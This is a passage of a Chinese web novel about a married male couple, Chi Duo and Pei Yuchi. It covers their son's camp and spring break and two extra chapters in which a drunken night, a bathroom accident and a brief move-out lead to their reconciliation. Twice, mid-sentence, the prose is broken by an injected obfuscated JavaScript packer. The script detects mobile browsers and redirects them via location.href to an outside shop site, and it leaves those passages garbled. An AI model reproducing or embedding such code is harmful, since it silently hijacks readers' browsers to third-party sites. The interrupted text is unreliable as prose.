话还没说完,楼下突然爆发出一阵震天动地的鸭笑,音响声随之响起,音量大的毫不遮掩,派对开始了。至于他们有没有邀请附近的男孩女孩来?这个问题,根本不需要答案。 迟铎:“……” 忍无可忍。 他直接拨通了内线电话,语气冷静,要求明确: “盯紧他们。” “每个杯子都检查,不许有酒精。” “软糖全部闻一遍。” “任何加料的东西都不允许出现。” 防范极其严格。重点要确保这个月结束时,这群鸭子还能完整地、朝气蓬勃地原样送回各自家长手里,当然自家那只也算在内。 嘱咐完这一切,气氛也被一并耗尽了。楼下鼓点一阵一阵,让人头皮发麻。 两人只能躺回床上,灯没关,蜡烛还在,却谁都没再动。被子里,迟铎翻了个身,整个人钻进裴与驰怀里。裴与驰从身后抱着他,手臂松松地圈着,呼吸落在他颈侧。 ……………………………………………… 裴与驰低低笑了一声,没有再说什么,只是低头,在他耳后落下很多个很轻的吻,动作变得缓慢而克制,和他们原本计划的夜晚相去甚远,却依旧让迟铎抵抗不了。 到后来,迟铎还是把右手往后伸,搂住了裴与驰的脖子,固执地想要回头看他。 岁月对裴与驰向来宽容,没有夺走他的帅气与腹肌,也没能削减他妻子对他的爱意。 尤其是在他专注时微微皱起眉的那一刻,好看得不讲道理。 帅到,迟铎忍不住又贴近了一点,闭上眼,安静等那个熟悉的、迟早会落下来的亲吻。 终于捱到集训的尾声,鸭子们即将踏上回校的征途。那些被尽数搬去地下室、上了锁的酒和烟等违禁物品也终于可以重见天日。 最后一晚,自然是鸭子们的狂欢日。 裴与驰和迟铎早有先见之明,提前躲到了自家游艇的甲板上。凌乱的毯子,不小心翻倒的红酒杯,还有紧紧交握在一起、又短暂松开的双手,发生过什么,不言而喻。 到后来,迟铎有些脱力,翻身躺了下来。 ………………………………………………… 夜风一吹,寒意顺着皮肤漫开,迟铎打了颤,下一秒便被裴与驰连人带毯子裹进怀里,下巴自然抵在迟铎头顶,两人一起看星星。 迟铎忽然想起很多年前,他们专程跑去威尔士国家公园看星星,带齐专业装备。 结果星星一颗没见着,雨倒是下得很认真,睡袋也糟了殃,最后两个人缩在火堆旁裹一条毯子,靠一盒无聊的大富翁打发时间。 那时候他们也没觉得遗憾,虽然都还不太懂,但都隐约觉得:狼狈时刻陪在身边的是那个人就好。 好多好多年过去了,他们兜兜转转,终于还是看到了星星。 星空在头顶,怀抱在身后,世界终于安静得像是懂事了一次。 春假结束。 “Ethan 加油!我们会准时来现场的。” 迟铎抱着儿子,语气慈爱又郑重。自从裴砚舟进入青春期,他的母爱永远在临别时刻才发作。 “嗯。Bye,mommy。” 裴砚舟点头,语气冷静,转身要走。 走出几步,又折回来:“我房间的毯子好像不在了。” 他想了想,又非常体贴地补充道:“我不介意mommy再买一条。” 顿了顿,又觉得不够严谨,于是加上重点说明:“或者一定要记得烘干,高温消毒。” 强调完毕,他踩着那双一模一样的白色Air Force 1,头也不回地走了。跟他的队友们气势十足的走了,搁内地妥妥的社会闲杂团团伙伙。 家里,整整齐齐摆着十几双同款同色鞋。 ……teenager。 彩蛋: “把家里健身房的窗户改成单面的,不然我就断绝关系。” 裴砚舟说这句话的时候,语气非常冷静,像是在陈述一条已经深思熟虑过、并且随时会执行的方案。 起因很简单。 迟铎在自家草坪上建了一个家庭健身房,选址堪称完美:采光极好,视野极其开阔,一整面落地窗正对着草坪。设计初衷当然也很健康,亲子运动、家庭氛围、阳光生活。 问题在于,这个视角是双向的。 于是裴砚舟在草坪上训练、打篮球、遛狗,或者戴着耳机坐在阳光下看书的时候,都能毫无遮挡、精准同步地看见健身房里发生的一切。 一开始,他只是看见他爸在做仰卧起坐。紧接着,他妈坐到了他爸身上,然后他爸每起一次,他妈就低头亲一下。 裴砚舟:“……” 后来情况开始升级。 有一次,他们穿着全套运动装备出现了,专业得让本来已经准备跑路的裴砚舟都忍不住放松了警惕。他甚至短暂地产生了一种不切实际的幻想,也许他父母真的洗心革面,决定把健身房当健身房用。 两个人一人一个Stanley水杯,头上还戴着lululemon遮阳帽,都来自他妈咪的贵妇圈种草。 哦,不好意思,太阳太刺眼了,他没看清。 仔细一看,他爸还是妈咪给买的lululemon男款,妈咪自己悄无声息地升级成了alo。 算了。 他懒得吐槽妈咪深陷追随贵妇潮流这件事。 因为更离谱的事情紧接着发生了。 跑步机还没启动,不是没跑,是根本没开。 根本! 没开!!!!!!!! 真的,一秒都没有。 他们就站在上面开始接吻,下一秒,他爸直接把他妈抱了起来。 至于后面发生了什么,裴砚舟拒绝回忆,也不打算复盘。 只能说,画面冲击力之强,远远超过他橄榄球体能训练后汗水进眼睛的程度。 而那已经是他目前人生中,对“辣眼睛”这个词,理解得最深的一次。 49.如果当时(1)[番外] 伦敦的某私人派对房间,帅哥美女齐聚一堂。 周淮组的局。 他借着自己生日这个无敌正当的理由,把人全都叫了出来,嘴上说聊聊天、联络感情,可这群人向来不擅长谈心,也没什么可谈的心。近况两三句就说完了,总结起来就是都挺好的。再然后,杯子一举,话题就顺理成章地滑向游戏,老一套,真心话大冒险。 场子刚热起来,门口才终于有了动静,裴与驰和迟铎姗姗来迟。 周淮一眼扫过去,立刻开炮:“你俩干什么去了?全场就等你俩。” 裴与驰把外套随手挂好,偏头斜了迟铎一眼,没讲话。那眼神意思很明确:你自己解释。迟铎也没解释,只抬手在掌心里做了个下跪动作,给周淮远程滑跪,姿态标准,诚意一般。 周淮被他气笑:“你就这点道歉?” 迟铎耸了下肩:“本来想给你买礼物。” “然后?”周淮立刻追问,兴奋得像看见猎物。 “然后dsm的镜子太清晰了。”迟铎说,“sales也太如沐春风。我看上双鞋,让他查尺码,没货,又热心帮我查哪家有货,打电话等回复——折腾半天。” 周淮抓住重点:“所以礼物呢?” 迟铎:“在我脚上。” 周淮:“……” 裴与驰在旁边淡淡补了一句:“他试鞋用了一个小时。” 迟铎猛地转头瞪他,眼神里全是控诉:你就这么把革命友谊卖了? 裴与驰“嗯”了一声,语气还挺诚恳,背信弃义得相当彻底。 “既然这样,”周淮拍桌,“你得先来第一轮。真心话还是大冒险?” 他问得很大声,也问得很快乐。反正礼物已经穿在迟铎脚上了,他今天有备而来。这些年周淮的笑话,迟铎没少看。尤其是那次失恋,周淮一个人唱到嗓子哑,涕泗横流,最后还被迟铎拍了现场证据发朋友圈。周淮的社交脸皮当场被撕下来示众,至今想起都牙痒。 风水轮流转。 周淮今天就一个目的:挖出迟铎到底在爱谁,会对着谁一边哭一边唱“我爱的人,不是我的爱人……” 迟铎斜睨他一眼,眼神写得很清楚:你做梦。他把杯子往桌上一放,吐字很稳:“大冒险。”三个字干脆利落,一点幻想都不给人留。 “行。”周淮咬牙,笑得很坏,“那你把你置顶喊过来,亲她一口。” 他怕迟铎钻空子,又补了一句:“父母长辈不算。”方方面面都考虑得很周全。 迟铎听完就笑了,他连手机都没掏,只抬了抬下巴,语气轻飘飘的:“不用喊,他就在。” 下一秒,整间房像被点着了。笑声、口哨声、拍桌声一齐炸开,八卦的火苗噌地蹿到天花板。 “卧槽?迟少今天没带女伴啊?” “是谁带来的?谁的朋友?谁的妹妹?” 有人偷看女友,被笑着拧了一圈;有人当场审讯表妹;也有人开始认真研究哪位名门淑女符合迟铎审美。 结果越看越困惑。迟铎那审美,简称是地下捡垃圾、工地打滚风。和这一屋子的审美都格格不入,怎么都对不上。 答案很快砸下来。 迟铎懒得理这些猜来猜去的人,直接侧过身,把旁边的裴与驰拉了过来,动作干净利落。 然后在他脸上亲了一口。 很短。 亲完他挑了挑眉,扫了一圈像吞了苍蝇似的表情,那点“你们就这点本事”的得意毫不遮掩。 裴与驰也很淡定,被亲到连眉毛都没动,指尖还在手机屏幕上滑,回着客户的信息。 包厢安静了两秒。 “切。”有人比倒赞,“迟少你这也太敷衍了吧?” 周淮立刻接上:“对啊,你这是糊弄我。” “周淮你也让我亲一口。”赵星宇抢着出声,转头就冲周淮嘟起嘴,姿势摆得十分到位,仿佛下一秒就要当场验证兄弟情的上限。 周淮脸都绿了:“滚!” 迟铎懒得掰扯,直接亮手机,微信置顶栏干干净净,只有一个人,裴与驰。 起哄声短暂断电。 然后才有人憋出一句:“你俩住一起……今天怎么还有聊天记录?” 这关注点歪得周淮差点当场跪下。他看着这一群二傻子们,连连摆头。行,敌方魔抗堆得够高,正面突破不了是吧?那就换物理攻击,给我喝出来。 他立刻举杯,笑得真诚:“我服了兄弟!来,为这忠贞不渝的兄弟情干杯!” 起哄声又起。 “兄弟情!” “锁死!” 迟铎喝了一口,嘴角还带着点得意:就这? 周淮笑着,眼神却亮得不太对劲。他拍了拍手:“那换个玩法。” “喝酒。喝到谁扛不住,谁说真心话。” “答不上来就继续喝。公平吧?” “公平!”一群人立刻附和。 只有迟铎看了他一眼,神经病三个字写脸上。周淮当没看见,还很贴心地补了一句:“我不针对任何人啊,我就是觉得,好久没热闹了。”他边说边给自己倒酒,倒得很满,奔着伤敌八百,自损一千去的。 裴与驰坐在旁边,没参与起哄,也没阻拦,只伸手把迟铎那杯快溢出来的酒匀了一半,推回去。迟铎接得很自然。 周淮在心里冷笑,但又不敢对裴与驰发作:行,有后勤是吧,等着。 结果他先倒了。 喝到最后,周淮已经开始抒发小学时代对女班长的复杂情感。还被录了音。等他酒醒,听完回放当场仰天长啸,就不该想着坑人的,迟铎没坑到,自己先社死了。 周淮只说对了一半。不该坑人是真的,没坑到迟铎是假的。只能说,害人又害己。 散场的时候,迟铎脸色如常,看起来一点没醉。旁边那几个已经舌头发麻的公子哥看得心里一惊,暗暗记下:以后别跟他拼酒。但其实他已经醉了,只是不上脸。后面那几轮酒,全进了裴与驰嘴里。 一开始裴与驰在处理工作,手机亮着,指尖没停,周淮和其他人也不敢去催,更别提劝酒。等他把手机倒扣,抬眼扫了一圈,才拿起杯子。周淮到底是迟铎的朋友,裴与驰也给面子。他直接抬起迟铎那杯,示意自罚三杯。三杯下去,没人敢再起哄。于是后面本该属于迟铎的几杯,也就顺理成章地被他接过去了。 门被推开,夜风一吹,迟铎这才觉得酒意像被冷风翻了一下,从胃里慢慢往上爬。 “还能走吗?”裴与驰问。 迟铎慢半拍,手臂已经被稳稳架住。“……能。” 裴与驰“嗯”了一声:“慢点。”迟铎顺势把手搭到他肩上,毫不客气。 到了家,迟铎像是忍了一路,门一关上就把裴与驰的手拨开,连一句话都顾不上说,转身往浴室冲。脚步不稳,方向却很准。他几乎是撞进去的,扶着马桶边沿吐了出来。吐得很干净,吐到胃里发空。吐完人蹲着没动,手撑在瓷砖上喘了两口气,额前的碎发全湿了,脖颈也冒了一层冷汗。 他抬手去按冲水键,手指不太听使唤,按错了一次,才按对。胃里舒服了一点,酒精却已经彻底上头。世界慢了半拍,声音也像隔了一层水。 裴与驰跟进来,把纸递到他手边,又拧开漱口水,往杯子里倒了一点,推过去:“漱一下。”迟铎接过来,咕咚咕咚漱了两口,吐掉,喉结滚动两下,才把那股酸味压下去。 他把杯子放回去,下意识又要嘴硬:“我——” “嗯,你没醉。”裴与驰接得很快,一副懒得跟醉鬼讲道理的样子。 没有往常的斗嘴,迟铎自己反而先败下阵来,慢慢站起来:“我洗个澡就行。” 裴与驰看了他一眼:“能站稳吗?” “能。”迟铎回答得很快。 裴与驰点头:“行。” 他把毛巾放到随手能拿的位置,转身出去,顺手把门带上,但没关死,留了一条缝。隔着那条缝,能听见他在外面说了一句,声音压得很低:“有事叫我。” 花洒一开,热气很快漫开。 迟铎站在水里,头更晕了。他抬手揉了下太阳穴,硬撑着去够置物架上的沐浴液。指尖刚碰到瓶身,脚底一滑。整个人往旁边偏出去的那一瞬间,他脑子里只剩一个字:操。他条件反射地伸手去扶墙,掌心擦着瓷砖发出一声轻响,人勉强稳住了一点,但膝盖还是磕到地垫边缘,不重,却狼狈。 “嘭”一声,在浴室里很清楚。 门外几乎是立刻有了动静。 下一秒,门被推开。 裴与驰进来得很快,连“怎么了”都没问,直接蹲下去扣住他的手臂,把人往上带。 “起来。”语气带着命令,“别乱动。” 迟铎还想嘴硬:“我没——” “闭嘴。”裴与驰打断得更快,“先站稳。” 热水还在冲,雾气更重。迟铎被他一拽,重心一偏,腿不自觉地松开了一点。 空气停住了。 裴与驰的动作顿了一下,很短。 他没有继续看,视线几乎是本能地移开,落到地面和墙角的瓷砖缝上。与此同时,他抬手把门把上的毛巾扯下来,盖到迟铎腰间,盖得很严实,甚至还顺手把边角掖住。 整个过程很快,快到像没给任何人反应的时间。 做完这些,他才继续把人扶稳,声音仍旧冷静:“能站稳吗?” 迟铎僵着,指尖攥着毛巾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012625|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,喉咙发干,还是那句熟练的嘴硬:“我没醉。” 裴与驰停了半秒,“嗯”了一声:“你没醉。” 这一次不像是敷衍醉鬼,倒像是顺着哄。 他伸手把花洒关小,把水温调稳,又把地垫拉正,确保他脚下不再打滑。 “坐着洗。”裴与驰说,语气不容商量。 他扶着迟铎在浴室边沿坐下,全程视线都落得很规矩,只看该看的地方。然后退后一步,背过身去:“你自己弄。我在门口。” 门外很安静。安静到迟铎能听见水落在瓷砖上的声音,也能听见自己有点乱的呼吸。 他坐着把自己洗干净,动作比平时慢。不是矫情,是脑子还晕,手脚不太配合。热水冲过肩背,胃里那股翻涌慢慢退下去。他把水关了,伸手去拿毛巾,动作顿了一下,毛巾就是刚才那条。他捏在手里,拧紧,又松开,再拧紧。像在拧自己的脑子。 门外传来裴与驰的声音:“洗完了?” 迟铎应得很快,硬装无所谓:“嗯。” “出来慢点,地滑。” “知道。” 他擦干身体,套上衣服,开门出去。 裴与驰就站在门外,背靠着墙,手机没拿在手里,看起来不太像他。听见动静,他抬眼看了一下,又很快收住。 “还晕吗?” “不晕。”迟铎答得飞快。 裴与驰把温水递过去:“喝点。” 水温刚好。迟铎喝了两口,顺着喉咙往下,像把刚才的尴尬暂时压住。 客厅灯亮着,一切都和以前一样。裴与驰拿起遥控把空调调高一度,只丢下一句:“睡吧。” 迟铎应了一声,往房间走。走到一半,又停住。他想说“谢谢”,没说出口。想说“你别想太多”,也没说出口。 他就那样站着,背对着裴与驰,沉默了两秒,像在跟自己较劲。裴与驰也没催,没走近,也没离开。两个人就这样诡异地站着,尴尬一点点往上冒,冒到迟铎觉得再不说点什么,下一秒就要被这股尴尬淹没。 迟铎撑不住开口:“我们分开住吧。” 话一出口,他自己也愣了一下,像本来只想找个台阶下,结果脚一滑,直接踩空。 客厅里静了一下。 裴与驰没问原因,也没提浴室那幕。他抬眼看着迟铎的背影,停了很短一瞬,喉结动了动:“行。” 就一个字。 迟铎胸口那口气一下子没地方落。他本来以为裴与驰会反驳,或者至少问一句“你确定”,让他有机会把话绕回去,把一脚踩空的台阶重新踩实。 可没有。 迟铎后背僵着,像被那声“行”钉住了。他想回头看裴与驰到底是什么表情,可脚跟像生了根,转不过去。回头太像认输,太像承认自己刚才那句话根本没过脑子。 还是没忍住:“你就……行?” 裴与驰停了停,像是在判断这句话的意思,然后问:“你要我说不行?” 迟铎想回头,又忍住,只丢下一句:“我不是那个……算了。” 哪个意思?他自己都说不清。 身后很安静。过了两秒,裴与驰才开口:“嗯,我知道。” 知道什么? 迟铎也不知道他知道什么。他甚至不知道自己刚才那句到底算什么。 胸口更堵了。他想把话收回来,又知道不可能。只能补一句:“我明天自己找房子。”话落地他就后悔了,这句听起来太像赶人。可他已经把路堵死,只能继续往前撑。 裴与驰回得很快:“我搬。” 迟铎一愣,终于忍不住回头。 裴与驰站在客厅灯下,脸上没什么表情。他和迟铎对视了一下,视线又很快收走,落到桌上那堆钥匙和杂物上。 “凭什么你搬?” 裴与驰抬眼看他,停了半秒,像是在等他把这句后面的意思说出来。迟铎没说。他把视线收回去,指腹捻了一下车钥匙圈,开口很干脆: “省事。” 他说完把钥匙圈放回桌上,放得很轻。然后就不再看迟铎,话题到此为止。 迟铎想说他没有要赶他走,想说别自作主张……可开头那句“分开住”太死,把所有退路堵得干干净净。话到嘴边,全变成吞咽,越吞越堵。他站着没动,胸口发紧,明明是自己开的口,偏偏又不甘心让它真的发生。 迟铎站在原地,最后只剩一句:“随你。” 裴与驰收拾了下桌上的东西,抬眼:“睡吧。” 迟铎回了房,关门时没收力。门响完,他才意识到自己像个小学生。他躺到床上,盯着天花板,脑子里翻来覆去只剩一句话:完了。 可完了具体完了什么,他还是说不清。 50.如果当时(2)[番外] 完了这两个字在脑子里转了一夜。 迟铎几乎是睁着眼到天亮的。所以门锁转动的声音,他听得一清二楚。 六点出头。 他面无表情地想,裴与驰是多怕见到自己这个怪物,才会走得这么早。 这个念头起得很熟练,像是刻意的。 因为他其实很清楚,裴与驰不是怕。他更可能是觉得迟铎醒来不想看见他,不想把两个人都架在一个必须开口、必须装作没事的尴尬里。 迟铎知道。他就是不允许自己这么想。一旦这么想了,就会开始心软,开始舍不得,开始后悔昨晚那句“分开住”说得太狠。心软太像低头,像认输,像承认自己其实在意得要命。而他现在最不能做的,就是在裴与驰面前认输。 更何况,身体的秘密已经暴露了。暴露给谁都好,偏偏是裴与驰。这个跟他住在同一个屋檐下,抬眼就能遇见的人。以后要怎么相处,怎么当没发生过,他一条都没想好。 所以他宁愿把裴与驰想得难听一点,这样他才能硬起心肠,把“分开住”这件事变成事实,而不是半路掉头。 门又响了一次。 迟铎坐了起来。 他第一反应是疑惑他怎么又回来了。下一秒,门又被轻轻带上,脚步声干脆利落地消失在走廊里。 哦,忘带东西。 这个解释一出来,他反而更烦了。烦自己刚才那一瞬间,居然生出一点不该有的期待。他还是没忍住,下床出去看了一眼。 客厅没人。茶几上多了一份早餐。旁边压着一张便签,字不多,只有两个:“吃了。” 不是忘带东西,是专门回来放早餐的。 迟铎盯着那份早餐看了几秒,骂了一句:“有病。” 可胸口那股堵没下去,反而更噎了一点。他站在原地,忽然想起昨晚自己那句分开住,后槽牙都快咬碎了,自己到底是怎么把路堵成这样的。 中午,搬家公司来了。 专业团队进进出出,动作利落,箱子一个接一个。裴与驰的房间很快就空了一半。迟铎站在客厅,看着那扇原本半掩着的房门被彻底打开,又一点点变空,心里冷冷地想:很好,连道别都不打算有。 那个他以为不会再回来的薄情寡义前好友,最后还是回来了。 门锁转动的时候,迟铎没动。他麻木地想,八成是裴与驰为了方便,干脆把钥匙留给了搬家公司。 门一开,他才发现自己想错了。 裴与驰站在门口,外套没脱,像只是顺路回来,把最后一件事做完。两人对上视线的一瞬间,迟铎就后悔了。后悔自己刚才那句“薄情寡义”骂得太顺口,因为裴与驰看起来也没比他好到哪去,只是照旧的冷脸,把所有情绪都压在下面。 裴与驰走近两步,没说“我走了”,也没说“以后联系”。 他抬手捏了捏迟铎的脸,动作很熟。 “自己好好的。” 这动作太熟了。以前打闹的时候,他经常这么干。迟铎从来没觉得哪里不对。别人要是敢把手伸到他脸上,早被他掰下去了。可现在这一下,迟铎鼻子猛地一酸,下一秒,他抓住了裴与驰的衣服:“等一下。”话出口得太快,像怕慢一秒就来不及。他说完就去换鞋,动作利索,像只是顺手送一程。 裴与驰的车明明停在楼下车库,两个人却都没提。好像裴与驰真的是要去坐地铁一样。他们并肩往前走,谁都没说话。 走到第一个地铁站,谁也没停,又继续往前。 再一个。 还是没停。 街很长,人很多,风有点冷。 迟铎努力不低头,也不敢仰头。低头太像认输,仰头又太明显。他只能时不时把脸转向另一边,假装在看路边的招牌,把不听话的眼泪逼回去。 幸好,身边那位也心事重重,根本没像以前那样敏锐,连他转了几次头都没注意到。 离开温切斯特以后,他们要走散,原来可以这么轻易。 裴与驰不住这儿之后,他们重合的路线几乎等于没有。没有他,裴与驰不会去dsm;没有裴与驰,他也不会去萨维尔街。 以前那些交集不是巧合,是他们故意的。 为了能凑在一起,哪怕多绕两条街,哪怕去自己没那么喜欢的地方,也都无所谓。 他们把“和对方一起”当成默认选项太久了,久到连自己都忘了,那其实是选择。 现在选择被拿掉了,路就散得干干净净。 迟铎终于停下,再送下去,就要出伦敦了。可“就到这吧”“再见”这种话,他一句都说不出口。说出口就像对这段关系盖章定论,宣告从此只能尘封进记忆里。他只能站在原地,等裴与驰先开口。 裴与驰往前走了两步,才像被什么拽住似的回头:“怎么了?” 下一秒,他也反应过来。 两个人就这么站在街边,谁都没说话。 明明电话备注是AAA,微信是置顶,WhatsApp也在最上面,对方所有联系方式他都有。就算不住一起了,联系也不会断。 比如周淮,他们从小玩到大,到了温切斯特不在一个宿舍,选的课也不太重合,迟铎从来没觉得有什么。平时打打游戏,在微信上扯几句淡,见面了照样是好兄弟,照样能把对方气得跳脚。 可到裴与驰这儿,迟铎就是不行。 他要的不是随时能拨出去的号码,也不是永远排第一的备注。 他要的是,一抬眼,人就在旁边。 所以那句“就送到这”,他怎么都说不出口。 裴与驰站了一会儿,抬手去摸口袋,像是要拿手机,指尖碰到又停住,最后把手收回来。他很少做这种没意义的动作,但放在现在,就像他也在找台阶。 “你回去吧。”他说。 没有“再见”。 迟铎喉咙一紧,只“嗯”了一声。 两人站了会,谁都没开口。 裴与驰从口袋里拿出钥匙,递过来:“这个。” 迟铎接过去,指腹擦到他的手背,两个人都顿了一下,又很快分开。 “走了。” 还是没有“再见”。 裴与驰转身,走了两步,又停了一下。迟铎心口猛地一跳,结果裴与驰只是理了下外套领子,继续往前走。 迟铎站在原地,没追。追上去太像承认舍不得,像承认离不开,像承认昨晚那句“分开住”是自找的。 他只能看着那道背影一点点被人群吞掉。 迟铎低头看了眼手机,屏幕干干净净,没有消息。他盯着那个置顶头像看了两秒,把屏幕按灭。 行。 你就这样。 回到家,他记不起自己是怎么回来的。走路?坐车?可能都有。一路上他都攥着手机,他也说不清自己在等什么。 刚进门,手机响了,周淮。 他直接挂断。 又打。 他接了:“你有病吗?” 骂完立刻挂断拉黑,一条龙。 如果不是周淮非要过生日、非要灌酒、非要搞那一套真心话大冒险,会有现在这些破事吗?他坐在床边,胸口起伏了一下,骂到一半,忽然卡住。脑子跳回浴室那一瞬,还有自己堵死所有台阶的那句“分开住” 迟铎这时候才发现,自己一整天的情绪,都和裴与驰有关。气他走得早,气他放了早餐却不见人,气他答应得太快,气他连一句“再见”都不肯说。连现在对着周淮发火,也像是在给这些气找一个出口。可发泄完了,胸口那股堵一点都没少。 更烦的是,他开始分不清自己到底在怕什么。 怕秘密被撞破?当然怕。可和裴与驰真的搬走、真的不在了比起来,那点怕忽然就显得没那么要命了。至少这一整天里,那件事在他脑子里停留的时间,甚至比不过裴与驰的一个背影。 裴与驰不在了。 迟铎坐在沙发上,盯着那份已经冷掉的早餐看了很久。这一刻他忽然觉得自己的人生烂透了。 冷掉的早餐,空掉的房间,这一切都在提醒他:这套公寓从今天开始,真的只剩他一个人了。 既然只有自己一个人,掉眼泪也没什么关系。反正没人看见。什么男儿有泪不轻弹,都是笑话。他这么想着,下一秒眼泪就掉下来。他甚至还有点闲心安慰自己:至少是忍到裴与驰走之后才掉的,不然太没志气。 手机就是这时候响的。 屏幕一亮,AAA跳出来,明晃晃的,像故意。 迟铎心口一紧,第一反应是:他怎么还敢打来,第二反应是:他怎么会打来。他盯着屏幕看了两秒,还是接了,声音强行压得很冷:“干嘛。” 尾音却没收住,轻轻飘了一下。 电话那头安静了一秒。 裴与驰没说来意,直接问:“你在哭?” 迟铎像被踩到尾巴:“我没有。” 对面又静了半秒。 然后裴与驰低低叫了他一声:“……迟铎。” 只叫了名字。 迟铎鼻子猛地一酸,差点当场破功。他咬紧牙关,把那点哽咽硬生生吞回去,还是嘴硬:“你有事说事,没事挂了。” “你在哪?”裴与驰问,语气一下子急了。 迟铎没答。 还能在哪?难道在大街上让人围观他哭吗。 他没出声,呼吸却泄了一下。 裴与驰没再给他继续嘴硬的机会:“开门。” 迟铎一怔:“你——” “我在楼下。”这句话打断得很快。 几乎是同时,门禁响了一声。 迟铎开门的时候还有点懵,懵到连眼泪痕迹都忘了擦。冷风灌进来,他才抬手抹了下脸,已经来不及了,眼睛红得厉害,鼻头也红。 裴与驰站在门口,呼吸有点急,但脸还是那张冷脸。他的视线在迟铎脸上停了不到一秒就移开,像不敢多看,又像一眼就够了。 “……哭什么?” 声音听起来像在问责,又像在确认他还好不好。 下一秒,他像没忍住,抬手把迟铎脸上的眼泪抹掉。指腹擦过眼角的时候是热的,落在被眼泪弄得冰冷的脸上,迟铎整个人僵了一下。 他就这么直直看着裴与驰,脑子一片乱。 想说你别走了,想说对不起,想说昨晚那句话不是那个意思。还想问,那件事你是不是已经想过了,会不会真的介意,会不会以后连靠近都要想一下。这些话在胸口挤成一团,他一句都问不出口。问出口太像低头,像把最后那点体面也一并交出去。 他嘴唇动了动,最后挤出一句最伤人的遮羞话:“你来干嘛。” 话一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012626|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出口他就后悔了,明明舍不得,却一直往最伤人的地方戳。他甚至已经在脑子里预演好了裴与驰的决绝:既然你这么说,那就这样。 可裴与驰没接这句话。 他收回手,指尖还带着点湿意,像也觉得不自在,顺势在掌心蹭了一下,才开口:“我在等你给我打电话。” 话说的很直接。 停了一下,又补一句,罕见地没那么利索:“你一直不打……那就只能我打。” 迟铎盯着他,眼泪还挂在睫毛上,忽然就更想骂人了。 “你怎么这么笨。” 他强撑着说完,哭得更厉害。 裴与驰没回嘴,只站着看他,像在等他把真正想说的话说出来。 迟铎说不出来。他都快陪他走出伦敦了,都快要到剑桥了。还要怎么给台阶?难道真要一路走到剑桥,裴与驰才明白,他舍不得? 迟铎吸了吸鼻子,抬手胡乱抹了把脸,抹得一团糟,还是嘴硬:“我都送你这么远了,你还不懂?” 话说出口,他自己都愣了一下,懂不懂已经不重要了。重要的是他说出来了。情绪一下子全涌上来,来得又急又乱,他想再说点什么,解释也好,道歉也好,把那句“我不是那个意思”说完整也好。可一个字都拼不出来。他已经撑到极限了。再来一次“你走了我又哭、你走了我又硬撑”的重演,他承受不起。 更何况还有那件事。 浴室里的那一瞬间像根刺,一直卡在他喉咙里。他可以装作不在意,可以继续嘴硬,可他最怕的不是被看见,而是裴与驰从此变得小心翼翼,变得客气,连“兄弟”两个字都带着分寸和距离。 他不想要那样的关系,更不想给裴与驰任何退回去的余地。 所以他没再说话,直接伸手扯住裴与驰的外套,把人往里拽。门“砰”地一声关上,外面的风和走廊的光一起被隔断。他没给裴与驰站稳的机会,拖着人继续往自己房间走。 推门,关门。 房间里只剩下两个人的呼吸声。 裴与驰刚开口:“你——” 迟铎转身就踮脚吻了上去,吻得很急,也很乱,不让他反应,不让他说话。裴与驰僵了一瞬,手停在半空。下一秒,他扣住迟铎的后颈,把人按回自己这边,回吻得更重。迟铎被吻得后退两步,膝盖撞到床沿,闷哼一声,手却抓得更紧。 裴与驰贴着他的唇停了一下,声音压得发哑:“你想我怎么做。” “证明给我看。”迟铎看着他,眼睛红着,神情很执拗。 裴裴与驰看着他,又问了一遍:“你想我怎么证明。” 这一次没再等答案。 他低头吻下来,力道比刚才重了一点,像是认命,也像是下了决心。迟铎被他压着后退,背抵到床沿,床垫塌下去一块,他的重心跟着失了,手却还死死抓着裴与驰的衣领不放。衣料被扯得发皱,纽扣硌在指节上,疼,他也没松。 裴与驰的呼吸明显乱了,却一直在收着力道,动作稳得有点不合时宜。迟铎偏偏不领情,抬眼看他,眼尾红得发亮,语气近乎蛮横地催促:“继续。” 裴与驰喉结滚了一下。 那一瞬间他像是真的被逼到了没路退,克制断得很干脆,却还是先停了停,贴着迟铎的唇,几乎是咬着字说:“我不会走。” 他说得很低,又重复了一遍:“听见没有。” 迟铎没应。他只把人抓得更紧,抓到裴与驰领口歪掉,指节发白。裴与驰抬手想整理,又被他拽回来,唇撞上唇,带着点不管不顾的狠劲。 动作开始的时候就不顺。 …………………………………… 迟铎眼眶一热,偏偏不肯停,反而抬手把他往下拽了一点,声音发哑,带着故意的挑衅:“你是不是不行。” 裴与驰的呼吸一下子沉了,裴与驰没再问疼不疼。他只是把人抱得更紧,把节奏压稳,动作更克制,像在硬撑着把这件事做完。 接下来的内容也一点称不上愉悦。 …………………………………… ……………………………………… ………………………………………… 直到迟铎整个人终于软下来,抓着他衣服的手一点点松开,力气像被抽走。 裴与驰这才停下。 他贴着迟铎的额头,呼吸还没稳,声音哑得厉害:“可以了吗。” 迟铎没说话,只很轻地点了下头。 浴室出来后,裴与驰把他抱回床上,动作几乎称得上小心翼翼。 被子掀开,又盖上,迟铎侧躺着,眼睛红,鼻头也红,整个人还在发颤。裴与驰跟着躺下来,手臂一伸,把人直接圈进怀里,力道不松不紧,像怕他再乱想。 过了一会儿,迟铎还想嘴硬,喉咙却哑得发疼,半天才挤出一句:“你刚才差点停了。” 裴与驰“嗯”了一声,承认得很快:“你皱眉了。” 迟铎没接话。 